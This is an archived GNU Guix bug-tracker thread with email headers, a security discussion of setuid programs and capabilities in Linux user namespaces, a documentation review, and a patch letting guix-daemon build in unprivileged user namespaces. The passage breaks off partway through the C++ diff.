       A  set-user-ID  program  whose  UID matches the UID that created a u=
ser
       namespace will confer capabilities in the process's permitted  and  =
ef=E2=80=90
       fective  sets when executed by any process inside that namespace or =
any
       descendant user namespace.

       The rules about the transformation of the process's capabilities dur=
ing
       the  execve(2)  are exactly as described in Transformation of capabi=
li=E2=80=90
       ties during execve() and Capabilities and execution of programs by r=
oot
       above,  with  the  difference that, in the latter subsection, "root"=
 is
       the UID of the creator of the user namespace.

Even with no effective capabilities whatsoever, nothing is stopping root
from making a setuid program and executing it, and I don't see what
would stop the builder from doing likewise.  If it works as described
("whose UID matches the UID that created a user namespace"), this should
cause the builder to gain full capabilities within its user namespace.

Now, experimentally, this doesn't /seem/ to work as described, but if
it's in the manual, it may be unwise to bet against it ever happening.
Additionally, even if it never is implemented as described, this text's
presence makes it less clear how security within a user namespace (not
just between user namespaces) is intended to work.  That's why I would
like for the security against remounting to not depend on the
capabilities that the builder has in its user namespace.

=2D reepca

--=-=-=
Content-Type: application/pgp-signature; name="signature.asc"

-----BEGIN PGP SIGNATURE-----

iQFLBAEBCAA1FiEEdNapMPRLm4SepVYGwWaqSV9/GJwFAmfDESkXHHJlZXBjYUBy
dXNzZWxzdGVpbi54eXoACgkQwWaqSV9/GJzjmQgAon0XOWbS7jwlulptpAiXIkXA
V1q/837h5N/qLH6goZ7YAoikyQ/DuooCmU7Y8PrIF80y1y6Vi7mPD32Cx9/pKsXG
ktHTM9skGqvntzozqUHHzjzZm8V5zNSANdnBb+luZvnKsZHQdxh0dzN5hokK8y1x
7CIj1pGS0sSb6lhiFm1RSuCw3FegxltZeKPb+OJrjfSXZWtN14nvQqdRTLLX01zj
6Yh8k5tJetYs4FWOwjsa8BzsqIGnoOtjb11KOiBfsHcgSoWgGRyGEDhYbnLbXpw4
0wG03p8ble2YGqMbRiJ2zOSt+cVcdpf3OQ7Mgd34XL8WVSCxBG1hf5YoJrim2A==
=DRJH
-----END PGP SIGNATURE-----
--=-=-=--




Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 28 Feb 2025 17:57:46 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Fri Feb 28 12:57:46 2025
Received: from localhost ([127.0.0.1]:52343 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1to4cL-0003Sm-Ol
	for submit <at> debbugs.gnu.org; Fri, 28 Feb 2025 12:57:46 -0500
Received: from mail-wm1-x331.google.com ([2a00:1450:4864:20::331]:51710)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_128_GCM_SHA256:128)
 (Exim 4.84_2) (envelope-from <zimon.toutoune@HIDDEN>)
 id 1to4cI-0003S3-KU
 for 75810 <at> debbugs.gnu.org; Fri, 28 Feb 2025 12:57:43 -0500
Received: by mail-wm1-x331.google.com with SMTP id
 5b1f17b1804b1-43995b907cfso16043975e9.3
 for <75810 <at> debbugs.gnu.org>; Fri, 28 Feb 2025 09:57:42 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=gmail.com; s=20230601; t=1740765456; x=1741370256; darn=debbugs.gnu.org;
 h=content-transfer-encoding:mime-version:message-id:date:references
 :in-reply-to:subject:cc:to:from:from:to:cc:subject:date:message-id
 :reply-to; bh=G730h75f+XzVw2NwaWvNsyb4w/sCtk+sVyAd/9JdWOk=;
 b=aqkhBSPCDVqGTVuU0UZI6fSjQsyiiOqliYAIQk3RsuY4q/jRlFPD2D+xceZnzpXg8C
 A3outzTsuzr07/cv4O+wM4CXFs1NrZvC+Xf6WrGOtW8yq1KC7zgD0qhgeNU8Akpy3Odu
 VcS/uf7FzY6yY+cu/I58xF0bJpGUTU93Z1I2QLE61dIGVUnsUFz3KqwMp3ZyQikeaMJ0
 b1P6AfUYmQ6qHAtrw7qvawsavTFG/5R2iTmITokZSOZaWRWLSicJ1KOgZhcviBaQXw+y
 KIHFpdYYIROrHXWF3LHc3XIYmJ94Oerh4OtISY05W+SCpbyUk/AQ5kYTQRtY77wx47bp
 PJUQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20230601; t=1740765456; x=1741370256;
 h=content-transfer-encoding:mime-version:message-id:date:references
 :in-reply-to:subject:cc:to:from:x-gm-message-state:from:to:cc
 :subject:date:message-id:reply-to;
 bh=G730h75f+XzVw2NwaWvNsyb4w/sCtk+sVyAd/9JdWOk=;
 b=uwbxUkmVw+kbFAO87fzev/WSZtPoI6hbKifVSU4chzH6zs7Cz4FhUjYw82PQJTfe9u
 h2f/7+5S9VKY5/mA03pYfSh7LlFe1lMsNaezV/YT22E29ZfeIIp5/lLdfEEV+yE0SSDd
 wX4DvGZhnBKB/2Rt4N+KUlgj67eoozoaiS4aod3BvftQfE81kzGC0rnadiSki8/fPaNh
 CFbTdqc9f00lzzOOP7Ff2Uqw/ZgVcKWCHNkz3VdBbP38caEzw6Estg8QpcyO8Z3p/CNM
 w3VqPs4D88S3rXCk7x/EPaG5wvtgAqo95iERUgnu6TaXT+ZPxD/h/Fdz3OkDQ2v6aAlv
 v1eA==
X-Forwarded-Encrypted: i=1;
 AJvYcCVWFJ9wKLxD8SZMAa870VG0wwYgxlzcvnTNiJIGedKbQ683Q7FT4MLqjgIkips+A7BPUP6rDg==@debbugs.gnu.org
X-Gm-Message-State: AOJu0YyNHz3mbfjisla2NrhN4RcmDLHXrkcfOZSnbK8QaA0SEiwn5NF0
 7Rv25wciJ1shQQYpRLi8SAb/k0FC5C5YPIEcuujiJ4cQi2utvxF8
X-Gm-Gg: ASbGncvYE1mcxoHzMYxzLaCAoJKU4Epqh3ByagOuqPKk0KQsGEBFQP+bEFIimIQI998
 VcnbDyrN4MwenrILZzzFsoE7yf6+WhEp2KyxGR6pB+57+OQPYJc0kHxDJFSx71fAFRusxTfcUWM
 olFGpcRE8Gah5cmRHfhHRPIIcKy6BFPMN2spxy2XY4IM3H4vUwfNnlS/q+NQv8ns8dUErfaqaIU
 nrN98r0LI6GWvt9wq6QiddDYWthZFLvlX7hJLseNhK+i3mWofXocOmDS/K7RmRrutdQWOzavtHx
 M7D24sOEyV+4SnAhA4ojsGIDeskBoSVN57pBTKNLT9ypvphpB3tbxV/0DZUHKSCEH7ZW+poG2XE
 hGm7aj68qlcg=
X-Google-Smtp-Source: AGHT+IE9UR+usArpRXkN74a8ZtRsCktnlIh+cC6fKOkMxlh38T2Lr8yQvz5CxnnIIwVUWKsS7hSUBg==
X-Received: by 2002:a05:6000:1f88:b0:38b:f44b:8663 with SMTP id
 ffacd0b85a97d-390eca38bfdmr4498965f8f.55.1740765456175; 
 Fri, 28 Feb 2025 09:57:36 -0800 (PST)
Received: from lili (roam-nat-fw-prg-194-254-61-45.net.univ-paris-diderot.fr.
 [194.254.61.45]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-43aba53942fsm95163385e9.24.2025.02.28.09.57.35
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Fri, 28 Feb 2025 09:57:35 -0800 (PST)
From: Simon Tournier <zimon.toutoune@HIDDEN>
To: Ludovic =?utf-8?Q?Court=C3=A8s?= <ludo@HIDDEN>, 75810 <at> debbugs.gnu.org
Subject: Re: [bug#75810] [PATCH v4 06/14] daemon: Allow running as non-root
 with unprivileged user namespaces.
In-Reply-To: <10c042b5dfa44688c5e4aa0e72bd4f7d1ebf6eb5.1740752774.git.ludo@HIDDEN>
References: <cover.1740752774.git.ludo@HIDDEN>
 <10c042b5dfa44688c5e4aa0e72bd4f7d1ebf6eb5.1740752774.git.ludo@HIDDEN>
Date: Fri, 28 Feb 2025 17:49:53 +0100
Message-ID: <87senyggjy.fsf@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable
X-Spam-Score: 0.0 (/)
X-Debbugs-Envelope-To: 75810
Cc: Josselin Poiret <dev@HIDDEN>,
 Maxim Cournoyer <maxim.cournoyer@HIDDEN>,
 Mathieu Othacehe <othacehe@HIDDEN>,
 Ludovic =?utf-8?Q?Court=C3=A8s?= <ludo@HIDDEN>,
 Tobias Geerinckx-Rice <me@HIDDEN>,
 Ludovic =?utf-8?Q?Court=C3=A8s?= <ludovic.courtes@HIDDEN>,
 Christopher Baines <guix@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -1.0 (-)

Hi,

On Fri, 28 Feb 2025 at 15:29, Ludovic Court=C3=A8s <ludo@HIDDEN> wrote:

> * doc/guix.texi (Build Environment Setup): Reorganize a bit.  Add
> section headings =E2=80=9CDaemon Running as Root=E2=80=9D and =E2=80=9CTh=
e Isolated Build
> Environment=E2=80=9D.  Add =E2=80=9CDaemon Running Without Privileges=E2=
=80=9D subsection.
> Remove paragraph about =E2=80=98--disable-chroot=E2=80=99.
> (Invoking guix-daemon): Warn against =E2=80=98--disable-chroot=E2=80=99 a=
nd explain why.
> ---
>  doc/guix.texi               | 100 +++++++++++++++++++-------

[...]

> diff --git a/doc/guix.texi b/doc/guix.texi
> index 93380dc30d4..a2b65299e9f 100644
> --- a/doc/guix.texi
> +++ b/doc/guix.texi
> @@ -877,6 +877,7 @@ Setting Up the Daemon
>  @section Setting Up the Daemon

[...]

> +There are currently two ways to set up and run the build daemon:
> +
> +@enumerate
> +@item
> +running @command{guix-daemon} as ``root'', letting it run build
> +processes as unprivileged users taken from a pool of build users---this
> +is the historical approach;
> +
> +@item
> +running @command{guix-daemon} as a separate unprivileged user, relying
> +on Linux's @dfn{unprivileged user namespace} functionality to set up
> +isolated environments---this option only appeared recently.
> +@end enumerate
> +
> +The sections below describe each of these two configurations in more
> +detail and summarize the kind of build isolation they provide.

The paragraph above could give the impression that there is a choice
between two options =E2=80=93 well it was my understand when reading.  On
foreign distro, there is no option, IIUC.

Therefore, I would clarify, something like:

        Depending on your situation, the build daemon can set up and run in
        different ways:

        @enumerate
        @item=20=20=20=20=20=20=20=20
        running @command{guix-daemon} as ``root'', letting it run build
        processes as unprivileged users taken from a pool of build
        users---this is the historical approach;

        @item=20=20=20=20=20=20=20
        running @command{guix-daemon} as a separate unprivileged user,
        relying on Linux's @dfn{unprivileged user namespace}
        functionality to set up isolated environments---this option is
        recently become mandatory on foreign distribution.=20=20=20=20=20=
=20=20=20
        @end enumerate

        The sections below describe each of these two configurations in more
        detail and summarize the kind of build isolation they provide.

Somehow, I would explicitly mention here what are my options when using
Guix System and what is my option when using foreign distro.

> +@unnumberedsubsubsec Daemon Running Without Privileges
> +
> +@cindex rootless build daemon
> +@cindex unprivileged build daemon
> +@cindex build daemon, unprivileged
> +The second option, which is new, is to run @command{guix-daemon}

I would remove =E2=80=9Cwhich is new=E2=80=9D.

> +@emph{as an unprivileged user}.  It has the advantage of reducing the
> +harm that can be done should a build process manage to exploit a
> +vulnerability in the daemon.  This option requires the user of Linux's
> +unprivileged user namespace mechanism; today it is available and enabled
> +by most GNU/Linux distributions but can still be disabled.

>                                                              The
> +installation script automatically determines whether this option is
> +available on your system (@pxref{Binary Installation}).

I would write: When using the installation script, it automatically
determines whether =E2=80=A6

> -If you are installing Guix as an unprivileged user, it is still possible
> -to run @command{guix-daemon} provided you pass @option{--disable-chroot}.
> -However, build processes will not be isolated from one another, and not
> -from the rest of the system.  Thus, build processes may interfere with
> -each other, and may access programs, libraries, and other files
> -available on the system---making it much harder to view them as
> -@emph{pure} functions.
> -

Yeah, good removal! :-)


Cheers,
simon




Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 28 Feb 2025 14:31:12 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Fri Feb 28 09:31:12 2025
Received: from localhost ([127.0.0.1]:47880 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1to1OO-0004eR-Np
	for submit <at> debbugs.gnu.org; Fri, 28 Feb 2025 09:31:12 -0500
Received: from eggs.gnu.org ([2001:470:142:3::10]:45372)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1to1NP-0004QB-HX
 for 75810 <at> debbugs.gnu.org; Fri, 28 Feb 2025 09:30:17 -0500
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1to1NI-0002Et-Gj; Fri, 28 Feb 2025 09:30:00 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=cdZxe51hOaEFBGak7Gjws9ptWs0pjfB3xteJ+QyhK4A=; b=ARKPu0CEFgVYNBzVSuBa
 LcDpbsmcKt24Qlli3boFWLb0F6uhjRulY/H9jeKpiVQUZnPA2DHT+qcx6y2oBEUgF+HtEf7Pagbta
 2um4+NRfKiSO8oOEcijEgnW2OhrEwLoenJwSioRhq7X5pq30QkG8rwMVjD65G0XnRYJ712lEH+E5U
 kNLZ4CMxSv1A3wEOgbkudHp3aXWPP7r79zTs5QSUpo9Q+DOP3sZU0KWkWrL/cgD5lxv2ytNTzT+7f
 WiaQhZRrAAnBdPw1exXYp91Pv7H1c/6wvngbSmeJ7c/hBTE/vQqYgAcSo9PK2vei/raduRlalLXL1
 iIwpXNHMq6pW/w==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: [PATCH v4 06/14] daemon: Allow running as non-root with unprivileged
 user namespaces.
Date: Fri, 28 Feb 2025 15:29:25 +0100
Message-ID: <10c042b5dfa44688c5e4aa0e72bd4f7d1ebf6eb5.1740752774.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
In-Reply-To: <cover.1740752774.git.ludo@HIDDEN>
References: <cover.1740752774.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Debbugs-Cc: Christopher Baines <guix@HIDDEN>, Josselin Poiret <dev@HIDDEN>, Ludovic Courtès <ludo@HIDDEN>, Mathieu Othacehe <othacehe@HIDDEN>, Maxim Cournoyer <maxim.cournoyer@HIDDEN>, Simon Tournier <zimon.toutoune@HIDDEN>, Tobias Geerinckx-Rice <me@HIDDEN>
Content-Transfer-Encoding: 8bit
X-Spam-Score: -2.3 (--)
X-Debbugs-Envelope-To: 75810
Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludovic.courtes@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

From: Ludovic Courtès <ludovic.courtes@HIDDEN>

* nix/libstore/build.cc (guestUID, guestGID): New variables.
(DerivationGoal)[readiness]: New field.
(initializeUserNamespace): New function.
(DerivationGoal::runChild): When ‘readiness.readSide’ is positive, read
from it.
(DerivationGoal::startBuilder): Call ‘chown’
only when ‘buildUser.enabled()’ is true.  Pass CLONE_NEWUSER to ‘clone’
when ‘buildUser.enabled()’ is false or not running as root.  Retry
‘clone’ without CLONE_NEWUSER upon EPERM.
(DerivationGoal::registerOutputs): Make ‘actualPath’ writable before
‘rename’.
(DerivationGoal::deleteTmpDir): Catch ‘SysError’ around ‘_chown’ call.
* nix/libstore/local-store.cc (LocalStore::createUser): Do nothing if
‘dirs’ already exists.  Warn instead of failing when failing to chown
‘dir’.
* guix/substitutes.scm (%narinfo-cache-directory): Check for
‘_NIX_OPTIONS’ rather than getuid() == 0 to determine the cache
location.
* doc/guix.texi (Build Environment Setup): Reorganize a bit.  Add
section headings “Daemon Running as Root” and “The Isolated Build
Environment”.  Add “Daemon Running Without Privileges” subsection.
Remove paragraph about ‘--disable-chroot’.
(Invoking guix-daemon): Warn against ‘--disable-chroot’ and explain why.
---
 doc/guix.texi               | 100 +++++++++++++++++++-------
 guix/substitutes.scm        |   4 +-
 nix/libstore/build.cc       | 135 ++++++++++++++++++++++++++++++------
 nix/libstore/local-store.cc |  18 +++--
 4 files changed, 203 insertions(+), 54 deletions(-)

diff --git a/doc/guix.texi b/doc/guix.texi
index 93380dc30d4..a2b65299e9f 100644
--- a/doc/guix.texi
+++ b/doc/guix.texi
@@ -877,6 +877,7 @@ Setting Up the Daemon
 @section Setting Up the Daemon
 
 @cindex daemon
+@cindex build daemon
 During installation, the @dfn{build daemon} that must be running
 to use Guix has already been set up and you can run @command{guix}
 commands in your terminal program, @pxref{Getting Started}:
@@ -921,20 +922,36 @@ Build Environment Setup
 @cindex build environment
 In a standard multi-user setup, Guix and its daemon---the
 @command{guix-daemon} program---are installed by the system
-administrator; @file{/gnu/store} is owned by @code{root} and
-@command{guix-daemon} runs as @code{root}.  Unprivileged users may use
-Guix tools to build packages or otherwise access the store, and the
-daemon will do it on their behalf, ensuring that the store is kept in a
-consistent state, and allowing built packages to be shared among users.
+administrator.  Unprivileged users may use Guix tools to build packages
+or otherwise access the store, and the daemon will do it on their
+behalf, ensuring that the store is kept in a consistent state, and
+allowing built packages to be shared among users.
+
+There are currently two ways to set up and run the build daemon:
+
+@enumerate
+@item
+running @command{guix-daemon} as ``root'', letting it run build
+processes as unprivileged users taken from a pool of build users---this
+is the historical approach;
+
+@item
+running @command{guix-daemon} as a separate unprivileged user, relying
+on Linux's @dfn{unprivileged user namespace} functionality to set up
+isolated environments---this option only appeared recently.
+@end enumerate
+
+The sections below describe each of these two configurations in more
+detail and summarize the kind of build isolation they provide.
+
+@unnumberedsubsubsec Daemon Running as Root
 
 @cindex build users
 When @command{guix-daemon} runs as @code{root}, you may not want package
 build processes themselves to run as @code{root} too, for obvious
 security reasons.  To avoid that, a special pool of @dfn{build users}
 should be created for use by build processes started by the daemon.
-These build users need not have a shell and a home directory: they will
-just be used when the daemon drops @code{root} privileges in build
-processes.  Having several such users allows the daemon to launch
+Having several such users allows the daemon to launch
 distinct build processes under separate UIDs, which guarantees that they
 do not interfere with each other---an essential feature since builds are
 regarded as pure functions (@pxref{Introduction}).
@@ -977,11 +994,45 @@ Build Environment Setup
 # guix-daemon --build-users-group=guixbuild
 @end example
 
+In this setup, @file{/gnu/store} is owned by @code{root}.
+
+@unnumberedsubsubsec Daemon Running Without Privileges
+
+@cindex rootless build daemon
+@cindex unprivileged build daemon
+@cindex build daemon, unprivileged
+The second option, which is new, is to run @command{guix-daemon}
+@emph{as an unprivileged user}.  It has the advantage of reducing the
+harm that can be done should a build process manage to exploit a
+vulnerability in the daemon.  This option requires the user of Linux's
+unprivileged user namespace mechanism; today it is available and enabled
+by most GNU/Linux distributions but can still be disabled.  The
+installation script automatically determines whether this option is
+available on your system (@pxref{Binary Installation}).
+
+When using this option, you only need to create one user account, and
+@command{guix-daemon} will run with the authority of that account:
+
+@example
+# groupadd --system guix-daemon
+# useradd -g guix-daemon -G guix-daemon              \
+          -d /var/empty -s $(which nologin)          \
+          -c "Guix daemon privilege separation user" \
+          --system guix-daemon
+@end example
+
+In this configuration, @file{/gnu/store} is owned by the
+@code{guix-daemon} user.
+
+@unnumberedsubsubsec The Isolated Build Environment
+
 @cindex chroot
-@noindent
-This way, the daemon starts build processes in a chroot, under one of
-the @code{guixbuilder} users.  On GNU/Linux, by default, the chroot
-environment contains nothing but:
+@cindex build environment isolation
+@cindex isolated build environment
+@cindex hermetic build environment
+In both cases, the daemon starts build processes without privileges in
+an @emph{isolated} or @emph{hermetic} build environment---a ``chroot''.
+On GNU/Linux, by default, the build environment contains nothing but:
 
 @c Keep this list in sync with libstore/build.cc! -----------------------
 @itemize
@@ -1015,7 +1066,7 @@ Build Environment Setup
 @file{/homeless-shelter}.  This helps to highlight inappropriate uses of
 @env{HOME} in the build scripts of packages.
 
-All this usually enough to ensure details of the environment do not
+All this is usually enough to ensure details of the environment do not
 influence build processes.  In some exceptional cases where more control
 is needed---typically over the date, kernel, or CPU---you can resort to
 a virtual build machine (@pxref{build-vm, virtual build machines}).
@@ -1035,14 +1086,6 @@ Build Environment Setup
 for fixed-output derivations (@pxref{Derivations}) or for substitutes
 (@pxref{Substitutes}).
 
-If you are installing Guix as an unprivileged user, it is still possible
-to run @command{guix-daemon} provided you pass @option{--disable-chroot}.
-However, build processes will not be isolated from one another, and not
-from the rest of the system.  Thus, build processes may interfere with
-each other, and may access programs, libraries, and other files
-available on the system---making it much harder to view them as
-@emph{pure} functions.
-
 
 @node Daemon Offload Setup
 @subsection Using the Offload Facility
@@ -1567,10 +1610,17 @@ Invoking guix-daemon
 @item --disable-chroot
 Disable chroot builds.
 
-Using this option is not recommended since, again, it would allow build
-processes to gain access to undeclared dependencies.  It is necessary,
-though, when @command{guix-daemon} is running under an unprivileged user
-account.
+@quotation Warning
+Using this option is not recommended since it allows build processes to
+gain access to undeclared dependencies, to interfere with one another,
+and more generally to do anything that can be done with the authority of
+the daemon---which includes at least the ability to tamper with any file
+in the store!
+
+You may find it necessary, though, when support for Linux unprivileged
+user namespaces is missing (@pxref{Build Environment Setup}).  Use at
+your own risk!
+@end quotation
 
 @item --log-compression=@var{type}
 Compress build logs according to @var{type}, one of @code{gzip},
diff --git a/guix/substitutes.scm b/guix/substitutes.scm
index e31b3940203..2761a3dafb4 100644
--- a/guix/substitutes.scm
+++ b/guix/substitutes.scm
@@ -1,5 +1,5 @@
 ;;; GNU Guix --- Functional package management for GNU
-;;; Copyright © 2013-2021, 2023-2024 Ludovic Courtès <ludo@HIDDEN>
+;;; Copyright © 2013-2021, 2023-2025 Ludovic Courtès <ludo@HIDDEN>
 ;;; Copyright © 2014 Nikita Karetnikov <nikita@HIDDEN>
 ;;; Copyright © 2018 Kyle Meyer <kyle@HIDDEN>
 ;;; Copyright © 2020 Christopher Baines <mail@HIDDEN>
@@ -76,7 +76,7 @@ (define %narinfo-cache-directory
   ;; time, 'guix substitute' is called by guix-daemon as root and stores its
   ;; cached data in /var/guix/….  However, when invoked from 'guix challenge'
   ;; as a user, it stores its cache in ~/.cache.
-  (if (zero? (getuid))
+  (if (getenv "_NIX_OPTIONS")                     ;invoked by guix-daemon
       (or (and=> (getenv "XDG_CACHE_HOME")
                  (cut string-append <> "/guix/substitute"))
           (string-append %state-directory "/substitute/cache"))
diff --git a/nix/libstore/build.cc b/nix/libstore/build.cc
index c8b778362ac..961894454f3 100644
--- a/nix/libstore/build.cc
+++ b/nix/libstore/build.cc
@@ -744,6 +744,10 @@ private:
 
     friend int childEntry(void *);
 
+    /* Pipe to notify readiness to the child process when using unprivileged
+       user namespaces.  */
+    Pipe readiness;
+
     /* Check that the derivation outputs all exist and register them
        as valid. */
     void registerOutputs();
@@ -1619,6 +1623,25 @@ int childEntry(void * arg)
 }
 
 
+/* UID and GID of the build user inside its own user namespace.  */
+static const uid_t guestUID = 30001;
+static const gid_t guestGID = 30000;
+
+/* Initialize the user namespace of CHILD.  */
+static void initializeUserNamespace(pid_t child)
+{
+    auto hostUID = getuid();
+    auto hostGID = getgid();
+
+    writeFile("/proc/" + std::to_string(child) + "/uid_map",
+	      (format("%d %d 1") % guestUID % hostUID).str());
+
+    writeFile("/proc/" + std::to_string(child) + "/setgroups", "deny");
+
+    writeFile("/proc/" + std::to_string(child) + "/gid_map",
+	      (format("%d %d 1") % guestGID % hostGID).str());
+}
+
 void DerivationGoal::startBuilder()
 {
     auto f = format(
@@ -1682,7 +1705,7 @@ void DerivationGoal::startBuilder()
 	   then an attacker could create in it a hardlink to a root-owned file
 	   such as /etc/shadow.  If 'keepFailed' is true, the daemon would
 	   then chown that hardlink to the user, giving them write access to
-	   that file.  */
+	   that file.  See CVE-2021-27851.  */
 	tmpDir += "/top";
 	if (mkdir(tmpDir.c_str(), 0700) == 1)
 	    throw SysError("creating top-level build directory");
@@ -1799,7 +1822,7 @@ void DerivationGoal::startBuilder()
         if (mkdir(chrootRootDir.c_str(), 0750) == -1)
             throw SysError(format("cannot create ‘%1%’") % chrootRootDir);
 
-        if (chown(chrootRootDir.c_str(), 0, buildUser.getGID()) == -1)
+        if (buildUser.enabled() && chown(chrootRootDir.c_str(), 0, buildUser.getGID()) == -1)
             throw SysError(format("cannot change ownership of ‘%1%’") % chrootRootDir);
 
         /* Create a writable /tmp in the chroot.  Many builders need
@@ -1818,8 +1841,8 @@ void DerivationGoal::startBuilder()
             (format(
                 "nixbld:x:%1%:%2%:Nix build user:/:/noshell\n"
                 "nobody:x:65534:65534:Nobody:/:/noshell\n")
-                % (buildUser.enabled() ? buildUser.getUID() : getuid())
-                % (buildUser.enabled() ? buildUser.getGID() : getgid())).str());
+                % (buildUser.enabled() ? buildUser.getUID() : guestUID)
+                % (buildUser.enabled() ? buildUser.getGID() : guestGID)).str());
 
         /* Declare the build user's group so that programs get a consistent
            view of the system (e.g., "id -gn"). */
@@ -1854,7 +1877,7 @@ void DerivationGoal::startBuilder()
         createDirs(chrootStoreDir);
         chmod_(chrootStoreDir, 01775);
 
-        if (chown(chrootStoreDir.c_str(), 0, buildUser.getGID()) == -1)
+        if (buildUser.enabled() && chown(chrootStoreDir.c_str(), 0, buildUser.getGID()) == -1)
             throw SysError(format("cannot change ownership of ‘%1%’") % chrootStoreDir);
 
         foreach (PathSet::iterator, i, inputPaths) {
@@ -1960,14 +1983,34 @@ void DerivationGoal::startBuilder()
     if (useChroot) {
 	char stack[32 * 1024];
 	int flags = CLONE_NEWPID | CLONE_NEWNS | CLONE_NEWIPC | CLONE_NEWUTS | SIGCHLD;
-	if (!fixedOutput) flags |= CLONE_NEWNET;
+	if (!fixedOutput) {
+	    flags |= CLONE_NEWNET;
+	}
+	if (!buildUser.enabled() || getuid() != 0) {
+	    flags |= CLONE_NEWUSER;
+	    readiness.create();
+	}
+
 	/* Ensure proper alignment on the stack.  On aarch64, it has to be 16
 	   bytes.  */
-	pid = clone(childEntry,
+ 	pid = clone(childEntry,
 		    (char *)(((uintptr_t)stack + sizeof(stack) - 8) & ~(uintptr_t)0xf),
 		    flags, this);
-	if (pid == -1)
-	    throw SysError("cloning builder process");
+	if (pid == -1) {
+	    if ((flags & CLONE_NEWUSER) != 0 && getuid() != 0)
+		/* 'clone' fails with EPERM on distros where unprivileged user
+		   namespaces are disabled.  Error out instead of giving up on
+		   isolation.  */
+		throw SysError("cannot create process in unprivileged user namespace");
+	    else
+		throw SysError("cloning builder process");
+	}
+
+	if ((flags & CLONE_NEWUSER) != 0) {
+	     /* Initialize the UID/GID mapping of the child process.  */
+	     initializeUserNamespace(pid);
+	     writeFull(readiness.writeSide, (unsigned char*)"go\n", 3);
+	}
     } else
 #endif
     {
@@ -2013,23 +2056,34 @@ void DerivationGoal::runChild()
 
         _writeToStderr = 0;
 
+	if (readiness.readSide > 0) {
+	     /* Wait for the parent process to initialize the UID/GID mapping
+		of our user namespace.  */
+	     char str[20] = { '\0' };
+	     readFull(readiness.readSide, (unsigned char*)str, 3);
+	     if (strcmp(str, "go\n") != 0)
+		  throw Error("failed to initialize process in unprivileged user namespace");
+	}
+
         restoreAffinity();
 
         commonChildInit(builderOut);
 
 #if CHROOT_ENABLED
         if (useChroot) {
-            /* Initialise the loopback interface. */
-            AutoCloseFD fd(socket(PF_INET, SOCK_DGRAM, IPPROTO_IP));
-            if (fd == -1) throw SysError("cannot open IP socket");
+	    if (!fixedOutput) {
+		/* Initialise the loopback interface. */
+		AutoCloseFD fd(socket(PF_INET, SOCK_DGRAM, IPPROTO_IP));
+		if (fd == -1) throw SysError("cannot open IP socket");
 
-            struct ifreq ifr;
-            strcpy(ifr.ifr_name, "lo");
-            ifr.ifr_flags = IFF_UP | IFF_LOOPBACK | IFF_RUNNING;
